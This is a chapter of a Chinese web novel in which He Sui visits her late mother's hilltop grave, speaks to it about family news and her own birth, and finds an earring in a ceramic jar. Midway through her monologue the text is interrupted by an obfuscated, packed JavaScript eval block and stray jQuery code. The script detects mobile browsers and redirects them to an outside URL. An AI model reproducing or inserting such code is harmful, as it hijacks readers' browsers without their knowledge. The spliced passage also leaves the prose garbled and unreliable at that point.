手机里一溜贺全涛的消息。
最开始的第一张。
贺穗板板正正地站着，面上一丝不苟，安时年则是两手背在身后，一边衬衫的衣领还敞开了半截，他抿着嘴唇，略微低着头看向镜头。
也怪不得贺全涛说严肃。
翻开下一张，贺全涛刚好拍下贺穗的笑意将消未消时被一揽子抱住的瞬间，偏侧过的脑袋还靠在安时年肩上。
而安时年一手高高举着落叶，踮起脚大笑着。
恰好一阵风，吹乱他的头发。
“拍照也是等你靠过来，才摆起动作揽住你……”
她想起贺春藏在车上说起的话，不自主地笑了笑。
我早该明白，安时年是这样的，热情、礼貌，把尊重摆在第一位。
或许还有点害羞？
她捧着汤走到了餐桌旁。
想起安时年说的话
他是暗里说我肤浅，随意？
她点开手机里的微博，看见安时年最新发的Vlog，从学校围起的孩子到物资进山的货车，从清晨草浪到午时成群吹响的芦笙，最后到了贺全涛的家门口，在镜头的角落还有贺穗一闪而过的身影。
他介绍着村里的一草一木，晴天白日到高挂星辰的夜空。
十分钟的视频里出现的人脸都被打了马赛克。
贺穗笑笑。
热情、礼貌、尊重、羞涩，还要多添份周全。
她的手一顿，抬起勺子又停下。
洋洋洒洒总结了一堆词，偏是听不出一个负面。
她甩下勺子，没喝两口的梨汤晾在一边。
整个人向后靠在椅背上，双臂交叉抱在胸前。
看着明晃晃的顶灯，微微闭上双眼。
“服了……”
随着夜里的最后一盏灯熄灭，村子才回归最初的平静。
平静起伏，缠绕着贺春藏的呼吸声。
等她睡醒，拉开窗帘，一片片阳光夺窗而入，亮得晃眼睡意还没完全褪去，索性再蜷回被窝里，拉过一角被子盖住半边脸，再懒洋洋地眯个回笼觉。
再睡醒，窗外的阳光已经斜移了位置，她爬起来推开一点窗户透气，这才算清醒了几分。
走出卧室往客卫去，她下意识地往客厅瞥了一眼，昨天她摊开在茶几上的书被收起来摞在一边，
走到餐桌旁，空落落的花瓶被擦洗得干干净净，餐桌中央放着网罩遮住了早餐。
不用想她也知道是贺穗的习惯。
伸手去掀网罩，先看到了贴在罩子上的便利贴。
贺穗随笔写着：起晚了就自己热一下，我今天要工作，午饭自己吃。
罩子揭开后，老几样的早餐，多的是碗梨汤。
贺春藏摇头笑了笑，目光看向二楼的平台。
姐姐担心千万遍的孩子，早就有适应世界独自生存的能力。
再望向那间打不开的房门
时间长了，她还是调侃自己看不明白。
等日头高照，贺春藏才吃完饭，收拾厨房，多出来的梨汤热一热打包进一个陶瓷罐。
【车钥匙呢。】
她一边穿着外套，一边给贺穗发消息。
手上忙着提鞋，还没放下手机，贺穗的消息已经传来。
【玄关抽屉里。】
【我有事出去，晚上回来。】
【知道了。】
发完消息后的贺穗把手机搁在桌角，推了把椅子起身走到窗帘旁，探头看向楼下的院子，车的尾灯走远缩成一点暗红，转眼消失在视线里。
她的指尖无意识地推了推眼镜，转身去接工作的电话。
清晨到傍晚，电脑前的工作会议开了一次又一次，手边吃完饭的碗筷来不及收到楼下，日落的时间没了知觉，再抬头月光已经如常打下。
她重新泡上咖啡。
向楼下走去，恰巧贺春藏刚回来正在玄关处换鞋。
“忙完了？”
“差不多。”
“明天要送救援人员出山，你什么时候走？”
贺春藏换了鞋，长长一条人直奔沙发躺下。
贺穗紧跟其后坐在另一边的单人椅上，“等人都走完，大概下午点我再走。”
“那你去看看你妈。”
“我去过了。”
良久，贺春藏才嘟囔着开口，“我把一个陶瓷罐落在那里了。”
“哪个？”
贺穗微微一愣。
“就，就你最喜欢的那个。”
……
贺穗端起的咖啡到了嘴边又放下，杯子与茶几叮当一响，她叹口气道：“你没事带什么吃的，带束花去，干净整洁她还喜欢。”
“你亲手做的梨汤，她说她想喝，我就带着了。”
“她大中午能给你托梦？”贺穗没了说话的兴致，大步往厨房走去，“白日梦。”
“你就说你去不去？给个准话，要是下午走，早上过去看一眼也赶趟，这回的事她真给我托梦了，哭得稀里哗啦地叫你来见见她。”
贺春藏趴在沙发的靠背上，望着厨房半个玻璃的推拉门上隐隐约约出现的身影，一时看出了神没注意贺穗说的话。
直到贺穗把脑袋从玻璃门边探出来，贺春藏才回神问道：“什么？”
“我说车还有油吗？”
“有啊。”
贺穗洗干净杯子，手搭在毛巾上擦了擦，“拗不过你。”
随着贺穗上楼，贺春筝就趴在沙发上望着她。
第二天，贺穗赶着清晨，出了门。
晨雾夹杂着乡野的潮湿，一起风比往日都要凉些，贺穗穿着衣柜里拿出许久不穿的风衣，抱着路边采了扎好的花，爬上去往山顶的木栈道。
她一身卡其色大衣，盘起头发，洗了把脸戴着昨夜工作时的眼镜。
半山腰上回望，救援人员的大巴一辆辆地排起队，夹道欢送的村民带着最有诚意的农家吃食，追着车跑。
好景色带不走，总不能让人饿着肚子。
贺穗再向上走，清晨的雾气早就散去，树丛随风摆着枝桠，碰撞擦肩产生独有的声响，伴着贺穗的脚步到了那座墓碑前。
还是那样明亮的墓碑下她的陶瓷罐也被擦得干干净净。
陶瓷罐的一旁，斜倚着一束铃兰裹挟着紫色的郁金香，包裹着它们的是由白渐变成浅蓝色的卡纸，花束前还打了个小小的蝴蝶结。
这束花的另一边还有一束，黄色和白色菊花交错夹着几枝康乃馨，
贺穗拿起来仔细看了看，“还是星云郁金香。”
这是贺春筝最喜欢的花，也是贺穗这次来家里时插在花瓶里的花。
“真好，还有人记得你的喜好，特地从市里拿来，”贺穗笑了笑，把自己路边采来的拿出来，“我这几枝放这旁边都显得有些掉价。”
她看着墓碑上浅浅微笑的照片。
年年来，年年看，乍然一眼望过去的种种还是随时间变得模糊。
“最近有人说我是要一个答案的，我回答说模糊是好事，可现在我不看一眼照片都要记不得你的模样……”
贺穗放下花往后退一步。
在她凝视的双眼前，屹然不动的只有墓碑。
画像与文字刻了六年，一成不变，可花开了一遍又一遍，脚边栽下的枝条几乎在以参天大树的姿态生长。
山下欢送的队伍已经启程，芦笙，鼓乐，没有间断。
“泥水又把路给堵住了……早上送货来的贺长舍，不小心堵在洞里，没救回来，长舍你知道吧？学校刚建成的时候他老拉着他弟弟来学校找你，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372342|199976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你应该记得，他弟弟现在外地读大学呢，虽然比不上田舒宁，但考的还算可以。田舒宁现在正读研究生，我也不知道她什么时候毕业，她应该给你说了，反正没给我说。
“她这段时间在学校当志愿者老师……我差点忘了，长舍的孩子都会跑了，也在那个学校里，你一个学校养两代人，你的脸是不是都要笑烂了……”
贺穗双手放进大衣的兜里，“他那么年轻，你见了他就带着点，别让他难过了，给他说这边人多，家里的人除了村长他们，我也会想办法照拂。
“舅舅当爷爷了，今年出生的小孙女，带给你看过吧，很可爱，我以为幺涛儿那样子这辈子都讨不到媳妇，没想到还成了最早结婚，最早有孩子的，他妻子人也不错，两个人很般配，听说今年年过了两人就要出去开个店，住到县里的小区里，舅舅留着你给买的房子，给他们小两口当婚房。”
贺穗掰着枝杈点着树皮，上瞧瞧下看看，说完捏捏手里的枝条，点点头。
“我昨天还抱了那个孩子，比我胳膊长点，蜷缩着……我出生的时候是什么样子，好像没有照片，也没听你说过，穆目说孩子出生都长得一样，丑丑的。”
贺穗不自然地笑了笑，“我还问穆目生孩子怎么样，她说痛得要死，就算幺涛儿求她，她也不要下一个，我问她为什么要生，她说和幺涛儿感情好，也想看看两个人的宝宝长什么样子，会怎样成才。
“我这次还见到了那个男的，你也是因为和他感情好而有了我吗？也是因为想看看两个人的宝宝长什么样子而生下的我？你会想看我是怎么成才的吗？我符合你的期待了吗？”
芦笙与鼓乐齐鸣，贺穗把话说完又咬了咬嘴唇，自顾自地笑了笑。
“我错了，”她擦擦泪水，低头笑出了声，难为情地“哎呀”一声，“好痛苦。”
她回身向后看去，站在栅栏边能俯瞰整个前明村，救援人员的大巴已经发车，两边围堵的村民提着红兜子追着车跑。
“你看，这么多人，路又修好了。
“我这两年在做动画电影，工作的环境里不乏会遇到一些岁数不大的学生，每每看见她们初入社会的样子，我总能想起你，我的电影里写了你的故事，我本是希望你没生下我，然后去读书，去上学，把现在的事业做得更强大，去世界各地，可是怎么办，我就是拿不了假的来骗人，连动画里都不行……你为什么要生下我呢？”
贺穗蹲在她面前，低头看了看墓碑前的方台，手指抵在上面，冰冰凉。
她自顾自地掏出兜里的墨镜，换下脸上的眼镜。下一刻，她抬起头，一丝泪水从墨镜下滑落，被风一吹，在她的面颊上凝结成一道浅浅的泪痕。
“我已经过了三十岁，按长寿了算三分之一的人生已经结束了，按你过世的年岁来算，剩下的也不过十五年的日子，在社会上打滚生存这么多年，我以为我已经足够自洽，理解，可站在你面前，还是甩不掉孩子气。
“不过好歹不像以前一样乱嚎，也算进步。”
贺穗拿起陶罐。
“对不起，是我错了。”
山顶的风吹了许久，久到她身后村寨的乐曲都停了下来。
她整了整台子，把三束花摆在一起，说：“不知道谁送的这么合你口味，记得去感谢一下人家，我也该走了。”
再站起来，还没走到台阶，她又回过头，抬了抬手里的陶罐。
“如果你真想吃我做的就来我的梦里，想我的话也来我这里吧，别让小姨传话了，她总是添油加醋，说你这个女精英哭得梨花带雨。”
手心一转，里面叮当一声响。
她解开盖子看去，空荡荡的陶瓷罐里非但没有梨汤，还干干净净。
视线一顿。
罐里孤零零躺着。
耳坠。